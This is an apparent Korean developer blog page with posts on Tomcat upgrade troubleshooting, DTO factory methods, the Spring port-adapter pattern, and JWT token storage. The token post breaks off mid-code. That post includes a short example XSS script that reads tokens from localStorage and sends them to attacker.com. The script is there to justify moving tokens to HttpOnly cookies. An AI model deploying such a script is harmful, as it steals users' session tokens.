BIBA DEV

[Tomcat] 버전 업그레이드 과정에서의 트러블슈팅 회고

BI3A — Thu, 28 May 2026 17:49:16 +0900

안되는 이유는 모르겠고 되는 이유는 더더욱 모르겠을 때

환경

WAS: Apache Tomcat 9.0.71 → 9.0.118
Framework: Spring Boot (WAR 배포)
ORM: MyBatis
OS: Windows
실행 방식: Windows 서비스 등록

문제 1. MyBatis typeHandler 패키지 스캔 오류

증상

Caused by: java.io.IOException: Failed to parse config resource: class path resource [mybatis-config.xml]
...
Caused by: java.lang.IllegalArgumentException: 
리소스 경로 [/WEB-INF/classes/com/icis/ireo/db/type/IREOCLOBTypeHandler.class/龕봅\u0000\u0000\u00004\u0000r]
이(가) [null](으)로 정규화되어 있는데, 이는 유효하지 않습니다.

원인

mybatis-config.xml에서 typeHandler를 패키지 스캔 방식으로 등록하고 있었음.

<typeHandlers>
    <package name="com.icis.ireo.db.type" />
</typeHandlers>

MyBatis DefaultVFS가 패키지 스캔 시 .class 파일 바이너리 데이터가 경로 문자열에 섞여 비정상 경로가 생성됨. Tomcat StandardRoot.validate()가 이를 차단하면서 오류 발생.

StandardRoot.validate()의 경로 null 체크는 Tomcat 8.0.x부터 존재했고, 이 충돌은 특정 버전이 아닌 구조적으로 존재하는 문제임.

해결

<package> 스캔 제거 후 typeHandler 직접 명시.

<!-- Before -->
<typeHandlers>
    <package name="com.icis.ireo.db.type" />
</typeHandlers>

<!-- After -->
<typeHandlers>
    <typeHandler handler="com.icis.ireo.db.type.IREOLongTypeHandler"
                 jdbcType="LONGVARCHAR" javaType="java.lang.String"/>
    <typeHandler handler="com.icis.ireo.db.type.IREOCLOBTypeHandler"
                 jdbcType="CLOB" javaType="java.lang.Object"/>
    <typeHandler handler="com.icis.ireo.db.type.IREONCLOBTypeHandler"
                 jdbcType="NCLOB" javaType="java.lang.Object"/>
    <typeHandler handler="com.icis.ireo.db.type.IREODateTypeHandler"
                 jdbcType="DATE" javaType="java.util.Date"/>
</typeHandlers>

패키지 내 typeHandler 누락 시 런타임 타입 매핑 오류 발생하므로 전부 명시할 것.

대안

vfsImpl을 JBoss6VFS로 교체해서 우회 가능.

<settings>
    <setting name="vfsImpl" value="org.apache.ibatis.io.JBoss6VFS"/>
</settings>

문제 2. stdout 로그 인코딩 깨짐

증상

[INFO ][EmbeddedMariaDB] Ű ? db/schema_basel2.sql
[INFO ][EmbeddedMariaDB] ũ Ʈ Ϸ : db/schema_basel2.sql

원인

Windows 서비스로 실행 시 setenv.bat이 읽히지 않음. Tomcat을 서비스로 등록하면 Procrun(tomcat9.exe) 이 JVM을 직접 구동하므로 setenv.bat의 JVM 옵션이 무시됨.

해결

{TOMCAT_HOME}/bin/tomcat9w.exe 실행 → Java 탭 → Java Options에 추가 후 서비스 재시작.

-Dfile.encoding=UTF-8

참고. Windows vs Linux Tomcat 로그 구조 차이

Linux (`startup.sh`)

catalina.sh 내부에서 stdout을 catalina.out으로 리다이렉트함.

>> "$CATALINA_OUT" 2>&1 &

Tomcat 내부 로그 + 앱 로그(System.out, slf4j ConsoleAppender) 전부 catalina.out 하나에 찍힘.

Windows 서비스 (Procrun)

Procrun이 stdout/stderr를 분리해서 씀.

catalina.log         → Tomcat 컨테이너 자체 로그
tomcat9-stdout.log   → 앱 콘솔 출력 (System.out, slf4j ConsoleAppender)
tomcat9-stderr.log   → 에러 및 스택트레이스

Windows `startup.bat`

stdout이 콘솔 창으로 출력됨. catalina.log에는 Tomcat 내부 로그만 찍힘.

요약

항목	Linux startup.sh	Windows startup.bat	Windows 서비스
실행 주체	java 직접	java 직접	Procrun(tomcat9.exe)
앱 로그 행선지	catalina.out	콘솔 창	tomcat9-stdout.log
setenv 적용	✅	✅	❌ (tomcat9w.exe에서 설정)
콘솔 창	❌	✅	❌

운영 환경에서는 slf4j FileAppender로 별도 파일에 직접 쓰도록 구성하는 게 나음. stdout 로그에 의존하지 말 것.

[개발 방법론] DTO와 팩토리 패턴

BI3A — Wed, 8 Apr 2026 17:48:58 +0900

팩토리에서 벌쳐뽑듯 하는 팩토리 패턴과 DTO에 대한 이해 정리

본 포스팅의 코드는 java, spring data jpa 기반으로 작성되었습니다.

DTO (Data Transfer Object)

API를 개발하다 보면 서비스 계층에서 처리한 결과를 클라이언트에 반환해야 하는 상황이 생긴다. 이때 JPA 엔티티를 그대로 반환하면 여러 문제가 발생한다.

엔티티에는 클라이언트에 노출해서는 안 되는 필드가 포함될 수 있다 (예: 원가, 내부 상태값 등).
JPA 엔티티를 직렬화하면 프록시 객체 문제, 지연 로딩 예외 등이 발생할 수 있다.
API 응답 구조(계약)와 DB 구조(엔티티)가 결합되면, 둘 중 하나를 변경할 때 서로 영향을 준다.

이 문제를 해결하기 위해 사용하는 것이 DTO(Data Transfer Object)다. DTO는 계층 간 데이터 전달을 위한 전용 객체로, 꼭 필요한 필드만 담아서 전달하는 역할을 한다.

Java `record` 로 DTO 만들기

DTO를 일반 class로 만들면 반복적인 코드가 많다.

public class ProductResponseDto {
    private final Long id;
    private final String name;

    public ProductResponseDto(Long id, String name) {
        this.id = id;
        this.name = name;
    }

    public Long getId() { return id; }
    public String getName() { return name; }
    // equals, hashCode, toString도 직접 구현해야 한다
}

DTO는 한 번 생성된 뒤 변경될 필요가 없는 객체다. 불변 데이터 묶음 선언에 특화된 Java 16의 record를 사용하면 위 코드를 한 줄로 줄일 수 있다.

public record ProductResponseDto(Long id, String name) {}
// 생성자, getter, equals, hashCode, toString이 자동으로 만들어진다

그런데 record를 그대로 사용하다 보면 또 다른 문제가 생긴다.

생성자 직접 호출의 한계

record는 선언한 필드 전체를 받는 생성자를 자동으로 만든다. 그런데 같은 DTO를 상황에 따라 다르게 채워야 하는 경우, 생성자를 직접 호출하면 의도가 코드에 드러나지 않는다.

결제 응답이 성공/실패에 따라 포함 필드가 다른 경우를 예로 들면 다음과 같다.

// 결제 성공: 영수증 URL 있음, 실패 사유 없음
return new PaymentResponseDto("ORD-001", receiptUrl, null);

// 결제 실패: 영수증 URL 없음, 실패 사유 있음
return new PaymentResponseDto("ORD-001", null, failReason);

이 코드에는 세 가지 문제가 있다.

null이 어떤 의도로 들어가는지 코드만 봐서는 알기 어렵다.
어떤 필드에 null을 넣어야 하는지를 호출하는 쪽에서 직접 알고 있어야 한다.
필드가 추가되면 이 생성자를 호출하는 모든 곳을 수정해야 한다.

정적 팩토리 메서드로 해결하기

이 문제는 정적 팩토리 메서드(Static Factory Method) 패턴으로 해결할 수 있다. 객체 생성을 담당하는 static 메서드를 별도로 두고, 상황에 맞는 이름을 붙이는 방식이다.

Effective Java(Joshua Bloch) Item 1에서도 이 이유를 명확히 설명한다.

생성자는 이름을 가질 수 없지만, 정적 팩토리 메서드는 이름으로 의도를 전달할 수 있다.

앞서 본 결제 응답 DTO에 정적 팩토리를 적용하면 다음과 같다.

public record PaymentResponseDto(
    String orderId,
    String receiptUrl,   // 성공 시에만 존재
    String failReason    // 실패 시에만 존재
) {
    // 결제 성공: 영수증 URL 있음, 실패 사유 없음
    public static PaymentResponseDto ofSuccess(String orderId, String receiptUrl) {
        return new PaymentResponseDto(orderId, receiptUrl, null);
    }

    // 결제 실패: 영수증 URL 없음, 실패 사유 있음
    public static PaymentResponseDto ofFailure(String orderId, String failReason) {
        return new PaymentResponseDto(orderId, null, failReason);
    }
}

null 처리 로직이 DTO 내부로 들어왔기 때문에, 서비스 계층의 코드가 훨씬 명확해진다.

// 팩토리 없이 서비스에서 직접 분기
if (paymentSuccess) {
    return new PaymentResponseDto(orderId, receiptUrl, null);
} else {
    return new PaymentResponseDto(orderId, null, failReason);
}

// 팩토리 사용 시
return paymentSuccess
    ? PaymentResponseDto.ofSuccess(orderId, receiptUrl)
    : PaymentResponseDto.ofFailure(orderId, failReason);

팩토리 메서드 명명 규칙

이름	의미	사용 시점
`of(...)`	단순 변환 — 인수를 그대로 감싸거나 조합	필드 조합 로직이 단순할 때
`ofXxx(...)`	특수 케이스 — 목적에 따라 다른 초기값 적용	같은 타입의 객체를 상황에 따라 다르게 만들 때

(참고)`@JsonInclude(NON_NULL)` 과의 연결

그런데 팩토리 내부에서 null을 주입하더라도, 직렬화 시 null 키가 클라이언트에 그대로 노출되는 문제가 남는다.

{"orderId": "ORD-001", "receiptUrl": null, "failReason": "잔액 부족"}

@JsonInclude(JsonInclude.Include.NON_NULL)을 선언하면 null인 필드는 JSON 키 자체가 제거된다.

@JsonInclude(JsonInclude.Include.NON_NULL)
public record PaymentResponseDto(
    String orderId,
    String receiptUrl,
    String failReason
) { ... }

{"orderId": "ORD-001", "failReason": "잔액 부족"}

정적 팩토리 패턴이 null 주입 방식을 DTO 내부에 캡슐화해두었기 때문에, 어노테이션 하나로 모든 케이스의 응답이 일관되게 처리된다. 만약 서비스 계층에서 null을 직접 관리했다면, 이런 일관성을 보장하기 어렵다.

추가 예시

단순 메시지 응답

입력값을 받아 메시지 문자열을 조합하는 로직도 팩토리 내부에 캡슐화할 수 있다.

public record NotificationResponseDto(String message) {

    public static NotificationResponseDto of(String recipient) {
        return new NotificationResponseDto(
            recipient + " 님께 알림이 발송되었습니다."
        );
    }
}

호출하는 쪽에서는 NotificationResponseDto.of(recipient)만 호출하면 된다. 메시지 포맷이 바뀌어도 팩토리 내부만 수정하면 된다.

단순 래핑 — 확장을 고려한 팩토리

현재는 단순히 필드를 감싸기만 하더라도, 팩토리 메서드를 통해 생성하도록 해두면 향후 필드가 추가될 때 호출부를 수정할 필요가 없다.

public record UserSummaryResponseDto(Long id, String name, String email) {

    public static UserSummaryResponseDto of(Long id, String name, String email) {
        return new UserSummaryResponseDto(id, name, email);
    }
}

`record` + 정적 팩토리 조합

public record ProductResponseDto(String name, int price) {

    // 1. 컴팩트 생성자는 검증용으로만 사용
    public ProductResponseDto {
        Objects.requireNonNull(name, "name must not be null");
        if (price < 0) throw new IllegalArgumentException("price must be non-negative");
    }

    // 2. 단순 변환
    public static ProductResponseDto of(String name, int price) {
        return new ProductResponseDto(name, price);
    }

    // 3. 특수 케이스 — 품절 상품은 가격을 0으로 표시
    public static ProductResponseDto ofSoldOut(String name) {
        return new ProductResponseDto(name, 0);
    }
}

외부에서는 new ProductResponseDto(...) 대신 항상 ProductResponseDto.of(...) 형태로 생성한다.
팩토리 메서드 이름: of(단순 변환), ofXxx(특수 케이스).
record의 전체 필드 생성자는 암묵적으로 생성되므로 Lombok이 불필요하다.

[Spring] 포트-어댑터 패턴 이해와 적용 사례

BI3A — Mon, 6 Apr 2026 18:30:42 +0900

Spring & Spring Boot

포트-어댑터 패턴이란?

핵심 비즈니스 로직을 외부 기술로부터 격리하는 아키텍처 스타일이다.

소프트웨어 개발 간에는 비즈니스 로직과 외부 기술 연계를 위한 코드가 혼재되는 지점이 있다.

이 경우 기술 스택을 교체할 때 필연적으로 해당 코드를 수정해야 하는 문제점이 있다.

포트 어댑터 패턴은 이 문제를 구조적으로 해결한다.

비즈니스 로직은 인터페이스(포트) 에만 의존하고,

실제 기술 연계를 위한 구현은 구현체(어댑터) 가 담당한다.

즉, 명확한 역할 분리를 통해 비즈니스 로직과 기술 연계의 영역을 서로 독립적으로 유지하는 것이

포트 어댑터 패턴의 핵심이다.

비즈니스 로직과 외부 기술 연계의 영역이 혼재되어 있는 사례

일반적으로 레이어드 아키텍처에서 비즈니스 로직과 외부 기술 연계가 혼재되어 있는 예시를 접할 수 있다.

레이어드 아키텍처는 하나의 애플리케이션을 역할에 따라 계층으로 나누는 아키텍처 스타일이다.

일반적으로 아래 4개 계층으로 구성된다.

Presentation Layer (프레젠테이션 계층)
    - 사용자 인터페이스와 상호작용하는 계층
    - 예: 웹 컨트롤러, API 엔드포인트
Service Layer (애플리케이션 계층)
    - 애플리케이션의 주요 기능과 비즈니스 로직을 담당하는 계층
    - 예: 서비스 클래스
Repository Layer (도메인 계층)
    - 도메인 모델과 데이터베이스 간의 상호작용을 담당하는 계층
    - 예: 리포지토리 인터페이스와 구현체
Database Layer (데이터베이스 계층)

레이어드 아키텍처에서는 각 계층을 바로 아래 계층에만 의존하는 것을 원칙으로 한다.

Controller는 Service를 호출하고, Service는 Repository를 호출하는 방식이다.

Spring에서도 가장 보편적으로 자리잡은 아키텍처 구조이다.

@Controller, @Service, @Repository로 클래스를 나누는 구조가 바로 이 아키텍처를 적용한 예시이다.

하지만, 실제 코드에서는 계층 간의 의존성이 명확하게 지켜지지 않는 경우가 많다.

Service가 Repository 구현체를 직접 참조하는 아래 코드를 예시로 들어보자.

// 레이어드 아키텍처 — 문제 상황
@Service
public class PaymentService {

    // 구현체를 직접 참조
    private final InicisPaymentClient paymentClient;

    public void pay(Order order) {
        paymentClient.requestPayment(order.getAmount());
    }
}

이 코드는 Service에서 InicisPaymentClient를 직접 참조해 결제를 처리하는 구조이다.

InicisPaymentClient는 KG이니시스 전용 구현체로, 해당 SDK에 종속된 메서드나 예외 처리 방식이 담겨있다.

이를 Service가 직접 알고 있다는 것은, "비즈니스 로직이 KG이니시스라는 특정 기술 구현에 의존한다"는 것이다.

현 구조를 다이어그램으로 표현하면 아래와 같다.

graph TD
    A[비즈니스 로직<br/>PaymentService] -->|직접 참조| B[InicisPaymentClient<br/>KG이니시스]

나중에 토스페이먼츠로 결제 대행사를 변경해야 한다면,

PaymentService 코드를 직접 수정해야 한다.

InicisPaymentClient가 TossPaymentClient로 바뀌고, 메서드 시그니처도 다를 수 있어 비즈니스 로직까지 함께 수정해야 하는 상황이 생긴다.

참조하는 곳이 많을수록 수정 범위는 걷잡을 수 없이 커진다.

개선 방법: 포트와 어댑터

인터페이스를 포트라고 부르는 이유는 USB 포트와 같은 역할을 하기 때문이다.

노트북 옆면의 USB 포트를 생각해보면 이해가 쉽다.

USB 포트는 "이 규격을 맞추면 무엇이든 꽂을 수 있다" 는 약속이다.

마우스, 키보드, 충전기, 이들은 모두 포트의 규격에 맞추면, 노트북 내부 회로는 바뀌지 않는다.

코드에서 포트는 인터페이스, 어댑터는 그 인터페이스의 구현체다.

비즈니스 로직은 포트에만 의존하고, 어댑터는 그 규격만 맞추면 언제든 교체할 수 있다.

// 포트 — 인터페이스 정의
public interface PaymentClient {
    void pay(int amount);
}

// 어댑터 A — KG이니시스 구현체
@Component
public class InicisPaymentClient implements PaymentClient {

    @Override
    public void pay(int amount) {
        // KG이니시스 SDK 호출
    }
}

// 어댑터 B — 토스페이먼츠 구현체
@Component
public class TossPaymentClient implements PaymentClient {

    @Override
    public void pay(int amount) {
        // 토스페이먼츠 SDK 호출
    }
}

이제 PaymentService는 인터페이스에만 의존한다.

// 비즈니스 로직 — 포트에만 의존
@Service
@RequiredArgsConstructor
public class PaymentService {

    // 인터페이스 타입으로 선언 — KG이니시스인지 토스페이먼츠인지 알 필요 없음
    private final PaymentClient paymentClient;

    public void pay(Order order) {
        paymentClient.pay(order.getAmount());
    }
}

결제 대행사를 바꿔야 한다면?

PaymentService는 단 한 줄도 건드리지 않는다.

주입되는 어댑터만 교체하면 된다.

개선 후의 구조를 다이어그램으로 표현하면 아래와 같다.

graph TD
    subgraph 도메인 영역
        A[비즈니스 로직<br/>PaymentService]
        B[포트 인터페이스<br/>PaymentClient]
    end

    subgraph 어댑터 영역
        C[InicisPaymentClient<br/>KG이니시스]
        D[TossPaymentClient<br/>토스페이먼츠]
    end

    A -->|인터페이스만 참조| B
    B --> C
    B --> D

어댑터 선택 (Spring 의존성 주입)

같은 인터페이스를 구현하는 구현체가 여러 개일 때, Spring은 어떤 어댑터를 주입할지 알 수 없다.

이때 두 가지 방법으로 주입할 어댑터를 지정할 수 있다.

@Primary — 여러 구현체 중 기본으로 주입할 어댑터를 지정한다.

@Qualifier — 주입받는 쪽에서 어댑터 이름을 명시적으로 지정한다. 단, 주입받는 코드에 구현체 이름이 노출되어 교체 시 수정이 필요하다.

일반적으로 @Primary를 사용하는 것이 교체 비용이 낮다.

// @Primary — 기본 어댑터로 KG이니시스를 지정
@Primary
@Component
public class InicisPaymentClient implements PaymentClient {

    @Override
    public void pay(int amount) {
        // KG이니시스 SDK 호출
    }
}

// 토스페이먼츠로 교체할 경우 @Primary를 이쪽으로 이동
@Component
public class TossPaymentClient implements PaymentClient {

    @Override
    public void pay(int amount) {
        // 토스페이먼츠 SDK 호출
    }
}

PaymentService는 어떤 어댑터가 주입되는지 여전히 알 필요가 없다.

결제 대행사를 교체할 때 @Primary의 위치만 옮기면 된다.

Spring 포트-어댑터 패턴 적용 사례

[참고]
하기 구현 예시의 Publisher는 Spring의 이벤트 메커니즘을 의미하는 것이 아니다.
Spring의 `ApplicationEventPublisher`와 `@EventListener`를 먼저 떠올릴 수 있지만,
포트-어댑터 패턴을 적용한 인터페이스이다.

이벤트를 발행하고 리스너가 처리하는 구조는 개념적으로 비슷하지만, 
여기서 말하는 Publisher는 외부 시스템과의 통신을 위한 인터페이스(포트)이다.

아래는 LLM API을 순서대로 호출하는 파이프라인 기능을 개발하며,

각 태스크의 진행 상황을 처리하는 실시간으로 클라이언트에 전달하기 위한 서비스 로직에 포트-어댑터 패턴을 적용한 사례이다.

Publisher는 그 분리 지점에 위치한 포트 인터페이스이며,

Polling, SSE(Server-Sent Events), WebSocket 등 여러 전송 방식에 따른 구현체가 존재할 수 있다.

Publisher(포트) 인터페이스 정의

// 포트 — 이벤트 발행 인터페이스
public interface JobEventPublisher {

    void onTaskStart(String jobId, String taskId, int seq);
    void onTaskComplete(String jobId, String taskId, int seq);
    void onJobComplete(String jobId);
    void onJobFailed(String jobId, String errorMessage);
}

Publisher는 파이프라인 서비스가 태스크의 시작과 완료, 전체 작업의 완료 또는 실패 이벤트를 발행하기 위한 인터페이스이다.

SSE, WebSocket, Polling 등 다양한 방식으로 구현할 수 있지만, 서비스 로직은 이 인터페이스만을 바라본다.

서비스의 비즈니스 로직

// 서비스의 비즈니스 로직 — 포트에만 의존
@Slf4j
@Service
@RequiredArgsConstructor
public class JobPipelineService {

    private final JobEventPublisher eventPublisher;

    @Async("jobExecutor")
    public void run(String jobId, List<Task> tasks) {
        try {
            for (Task task : tasks) {
                eventPublisher.onTaskStart(jobId, task.getId(), task.getSeq());
                String result = callLlmApi(task.getPrompt());
                eventPublisher.onTaskComplete(jobId, task.getId(), task.getSeq());
            }
            eventPublisher.onJobComplete(jobId);

        } catch (Exception e) {
            eventPublisher.onJobFailed(jobId, e.getMessage());
        }
    }
}

JobPipelineService는 JobEventPublisher 인터페이스에만 의존한다.

각 요청이 시작될 때마다 onTaskStart를 호출하고, 완료될 때마다 onTaskComplete를 호출한다.

즉, 서비스 로직은 이벤트 발행의 구체적인 방식에 대해 전혀 알 필요가 없다.

어댑터 구현 (SSE 전송방식 적용)

// 어댑터 — SSE 구현체
@Slf4j
@Component
public class SseJobEventPublisher implements JobEventPublisher {

    private final ConcurrentHashMap<String, SseEmitter> emitters = new ConcurrentHashMap<>();

    public SseEmitter connect(String jobId) {
        SseEmitter emitter = new SseEmitter(300_000L);
        emitters.put(jobId, emitter);
        emitter.onCompletion(() -> emitters.remove(jobId));
        emitter.onTimeout(() -> emitters.remove(jobId));
        return emitter;
    }

    @Override
    public void onTaskComplete(String jobId, String taskId, int seq) {
        SseEmitter emitter = emitters.get(jobId);
        if (emitter == null) return;

        try {
            emitter.send(SseEmitter.event()
                .name("task-complete")
                .data(Map.of("taskId", taskId, "seq", seq)));
        } catch (IOException e) {
            emitters.remove(jobId);
        }
    }

    // ... onTaskStart, onJobComplete, onJobFailed 동일한 방식으로 구현
}

graph LR
    A[파이프라인<br/>JobPipelineService] -->|onTaskComplete 호출| B[JobEventPublisher<br/>포트]
    B --> C[SseJobEventPublisher<br/>SSE 어댑터]
    B --> D[WebSocketJobEventPublisher<br/>웹소켓 어댑터]
    B --> E[PollingJobEventPublisher<br/>폴링 어댑터]

어댑터 선택 (Spring 의존성 주입)

전송 방식이 결정되면 해당 구현체에 @Primary를 붙여 기본 어댑터로 지정한다.

전송 방식이 바뀌더라도 JobPipelineService는 단 한 줄도 수정하지 않는다.

@Primary의 위치만 옮기면 된다.

// SSE 방식을 기본 어댑터로 지정
@Primary
@Component
public class SseJobEventPublisher implements JobEventPublisher {
    // ...
}

// WebSocket 방식으로 교체할 경우 @Primary를 이쪽으로 이동
@Component
public class WebSocketJobEventPublisher implements JobEventPublisher {
    // ...
}

결국 포트 어댑터 패턴의 핵심은 서비스가 각 외부 기술의 스펙을 전혀 모른다는 것이다.

서비스는 비즈니스 로직에만 집중하고, 기술적인 세부 사항은 어댑터가 흡수한다.

나중에 웹소켓이나 폴링으로 바꾸거나, 세 가지를 동시에 사용해야 한다면 어댑터만 추가하면 된다.

Access Token, Refresh Token의 개념과 저장 & 전송 방식

BI3A — Thu, 2 Apr 2026 14:25:07 +0900

About JWT, Access Token과 Refresh Token

Access Token, Refresh Token 저장 & 전송 개발 및 리팩토링

인증 토큰을 어디에 저장하느냐는 보안의 출발점이다.
인증 서비스를 구현하며 토큰 저장 및 전송 방식을
localStorage에서 시작해 HttpOnly 쿠키, Redis, 프론트엔드 메모리로 단계적으로 개선한 의사결정 과정을 정리한다.

Access Token과 Refresh Token

왜 토큰이 두 개인지, 각자 어떤 역할을 하는지부터 짚어본다.

JWT(JSON Web Token)를 기반으로 한 인증에서는 두 종류의 토큰을 사용한다.

Access Token은 API 요청에 직접 첨부하는 짧은 수명의 인증 증표다. 매 요청마다 Authorization: Bearer {token} 헤더에 담겨 서버로 전달된다.
Refresh Token은 Access Token이 만료됐을 때 새로 발급받기 위해 사용하는 긴 수명의 토큰이다. 두 토큰을 분리하는 이유는 하나다. Access Token의 노출 위험을 줄이면서도 사용자가 매번 로그인하지 않아도 되게 하기 위해서다.

Access Token: 수명 1시간. 매 API 요청마다 헤더에 첨부된다. 탈취되더라도 짧은 시간 안에 만료된다.
Refresh Token: 수명 14일. Access Token 재발급 요청 시에만 사용된다. 탈취되면 장기 세션 위협이 된다.
두 토큰 모두 서명 알고리즘 HS384로 생성되며, 서버의 비밀 키로만 유효성을 검증할 수 있다.

기본 인증 흐름

두 토큰이 어떻게 협력하는지 데이터 플로우로 살펴본다.

sequenceDiagram
    participant Client as 클라이언트 (브라우저)
    participant Server as 서버 (Spring Boot)
    participant Redis

    Client->>Server: POST /login (OTP 검증)
    Server-->>Client: Access Token (응답 바디) + Refresh Token (HttpOnly 쿠키)

    Client->>Server: GET /api/resource Authorization: Bearer {accessToken}
    Server-->>Client: 200 OK

    Note over Client,Server: Access Token 만료 (1시간 후)

    Client->>Server: POST /api/member/refresh (쿠키 자동 첨부)
    Server->>Redis: Refresh Token 유효성 확인
    Redis-->>Server: memberId 반환
    Server-->>Client: 새 Access Token (응답 바디) + 새 Refresh Token (쿠키 갱신)

Phase 1 — localStorage에 두 토큰을 모두 저장

가장 빠르게 구현할 수 있는 방법이지만, 가장 위험한 방법이기도 하다.

localStorage란?

localStorage는 브라우저가 제공하는 키-값 저장소다. 탭을 닫거나 새로고침해도 데이터가 유지되고, 같은 도메인이라면 어떤 JavaScript 코드든 window.localStorage를 통해 자유롭게 읽고 쓸 수 있다.

장점: 새로고침 후에도 데이터가 유지된다. 구현이 단순하다.
단점: 같은 도메인의 모든 JS에서 접근 가능하다. XSS(Cross-Site Scripting) 공격으로 악성 스크립트가 삽입되면 저장된 토큰을 그대로 읽어갈 수 있다.

ASIS: 초기 구현

로그인 성공 시 서버가 응답 바디에 accessToken과 refreshToken을 모두 반환했다. 프론트엔드는 이 두 값을 localStorage에 저장했다.

// api.ts — 초기 구현
axiosInstance.interceptors.request.use((config) => {
  const token = localStorage.getItem('accessToken'); // ⚠️ XSS로 접근 가능
  if (token) config.headers.Authorization = `Bearer ${token}`;
  return config;
});

// 401 수신 시 refreshToken을 꺼내 재발급 요청
const refreshToken = localStorage.getItem('refreshToken'); // ⚠️ 마찬가지로 노출
const { data } = await axiosInstance.post('/api/auth/refresh', { refreshToken });
localStorage.setItem('accessToken', data.data.accessToken);
localStorage.setItem('refreshToken', data.data.refreshToken);

// AuthController.java — 초기 구현
// 응답 바디에 두 토큰을 모두 포함해 반환
return ApiResponse.success(new TokenResponse(accessToken, refreshToken));

취약점: XSS로 두 토큰 동시 탈취 가능

// 공격자가 삽입한 악성 스크립트
const stolen = {
  access: localStorage.getItem('accessToken'),
  refresh: localStorage.getItem('refreshToken'),
};
fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify(stolen) });

Refresh Token까지 탈취되면 만료(14일) 전까지 공격자가 새 Access Token을 계속 발급받을 수 있다. 이것이 Phase 2 전환의 출발점이었다.

Phase 2 — Refresh Token을 HttpOnly 쿠키로 전환

수명이 긴 Refresh Token부터 JS 접근이 불가능한 저장소로 옮긴다.

쿠키와 HttpOnly 쿠키의 차이

일반 쿠키는 브라우저가 요청마다 자동으로 첨부해주는 저장소지만, JavaScript에서 document.cookie로 읽고 쓰는 것이 가능하다. XSS가 발생하면 쿠키에 저장된 값도 탈취될 수 있다.

HttpOnly 쿠키는 서버가 응답 헤더에 HttpOnly 플래그를 설정한 쿠키다. 브라우저는 이 플래그가 있는 쿠키를 JavaScript로 접근하는 것을 차단한다. document.cookie로도 읽을 수 없고, XSS 스크립트가 삽입되더라도 해당 쿠키 값은 꺼낼 수 없다.

graph LR
    subgraph A["일반 쿠키"]
        A1["JS 접근: document.cookie 가능 ✅"]
        A2["XSS 탈취 위험: 있음 ✅"]
        A3["요청 자동 첨부: 가능"]
        A4["설정 주체: JS 또는 서버"]
    end
    subgraph B["HttpOnly 쿠키"]
        B1["JS 접근: 브라우저가 차단 ❌"]
        B2["XSS 탈취 위험: 없음 ❌"]
        B3["요청 자동 첨부: 가능"]
        B4["설정 주체: 서버만 가능"]
    end
    A -->|"HttpOnly 플래그 적용"| B

왜 Refresh Token을 먼저 옮겼나?

Access Token은 수명이 1시간이지만 Refresh Token은 14일이다. 탈취됐을 때 피해 기간이 훨씬 길기 때문에 우선순위가 높았다. HttpOnly 쿠키는 서버만 읽을 수 있고 JavaScript로는 접근이 차단된다.

백엔드: ResponseCookie로 HttpOnly 쿠키 발급

// AuthController.java — HttpOnly 쿠키 발급
ResponseCookie cookie = ResponseCookie.from("refreshToken", refreshToken)
    .httpOnly(true)              // JS 접근 차단
    .secure(cookieSecure)        // HTTPS에서만 전송 (로컬: false, 운영: true)
    .path("/api/member/refresh") // 이 경로에서만 쿠키가 자동 첨부됨
    .maxAge(Duration.ofMillis(refreshExpiry))
    .sameSite("Lax")
    .build();

response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());

// 응답 바디에는 accessToken만 포함. refreshToken은 @JsonIgnore 처리
return ApiResponse.success(new AccessTokenResponse(accessToken));

프론트엔드: withCredentials로 쿠키 자동 첨부

// api.ts — HttpOnly 쿠키 전환 후
const axiosInstance = axios.create({
  headers: { 'Content-Type': 'application/json' },
  withCredentials: true, // 쿠키를 요청에 자동으로 첨부
});

// 401 수신 시 refreshToken을 직접 읽을 필요 없음, 쿠키가 자동 첨부됨
const { data } = await axiosInstance.post('/api/member/refresh');
// 요청 바디 없음. 서버가 쿠키에서 refreshToken을 읽어 처리

남은 취약점

Refresh Token은 안전해졌지만 Access Token은 여전히 localStorage에 남아 있었다. XSS가 발생하면 Access Token 탈취는 여전히 가능하고, 만료까지 최대 1시간 동안 API를 자유롭게 호출할 수 있었다.

Phase 3 — Refresh Token 저장소를 PostgreSQL에서 Redis로 전환

빠른 조회와 TTL 자동 만료를 위해 저장소 계층을 바꾼다.

PostgreSQL과 Redis의 차이

PostgreSQL은 디스크 기반의 관계형 데이터베이스다. 데이터가 영구적으로 저장되고 복잡한 쿼리가 가능하지만, 만료 처리를 위해서는 expire_at 컬럼을 매번 현재 시간과 비교하는 코드가 필요하다.

Redis는 메모리 기반의 키-값 저장소다. 디스크를 거치지 않아 조회 속도가 O(1)로 매우 빠르고, TTL(Time To Live)을 설정하면 만료 시점에 키를 자동으로 삭제해준다.

graph LR
    subgraph A["PostgreSQL (ASIS)"]
        A1["저장 위치: 디스크"]
        A2["조회 성능: O(log n) 인덱스 검색"]
        A3["만료 처리: expire_at 컬럼 코드로 직접 비교"]
        A4["영속성: 영구 저장 ✅"]
        A5["용도: 비즈니스 핵심 데이터"]
    end
    subgraph B["Redis (TOBE)"]
        B1["저장 위치: 메모리"]
        B2["조회 성능: O(1) 메모리 직접 접근"]
        B3["만료 처리: TTL 설정 → 자동 삭제 ✅"]
        B4["영속성: 기본 휘발성 (세션 데이터에 적합)"]
        B5["용도: 세션, 캐시, 임시 데이터"]
    end
    A -->|"Phase 3 전환\n이유: 빈번한 조회 + 만료 자동화"| B

Redis로 옮긴 이유?

Refresh Token 재발급은 Access Token이 만료될 때마다 발생하는 빈번한 연산이다.
조회가 잦고 수명이 정해진 임시 데이터이기 때문에 Redis가 더 적합하다.
PostgreSQL에서 필요했던 만료 비교 코드도 TTL로 대체할 수 있어 로직이 단순해진다.

Redis 키 구조

auth:refresh:token:{tokenValue}  →  memberId         (TTL = 14일, 자동 만료)
auth:refresh:member:{memberId}   →  Set<tokenValue>  (다중 기기 역방향 인덱스)

// RefreshTokenService.java
@Service
@RequiredArgsConstructor
public class RefreshTokenService {

    private static final String TOKEN_PREFIX  = "auth:refresh:token:";
    private static final String MEMBER_PREFIX = "auth:refresh:member:";

    private final RedisTemplate<String, String> redisTemplate;

    @Value("${jwt.refresh-expiry}")
    private long refreshExpiry;

    // 저장: token → memberId (TTL 설정), member Set에 token 추가 (다중 기기 지원)
    public void save(String memberId, String tokenValue) {
        redisTemplate.opsForValue().set(
            TOKEN_PREFIX + tokenValue, memberId, refreshExpiry, TimeUnit.MILLISECONDS);
        redisTemplate.opsForSet().add(MEMBER_PREFIX + memberId, tokenValue);
    }

    // 조회: TTL이 만료되면 키가 사라지므로 Optional.empty() 반환 (만료 체크 불필요)
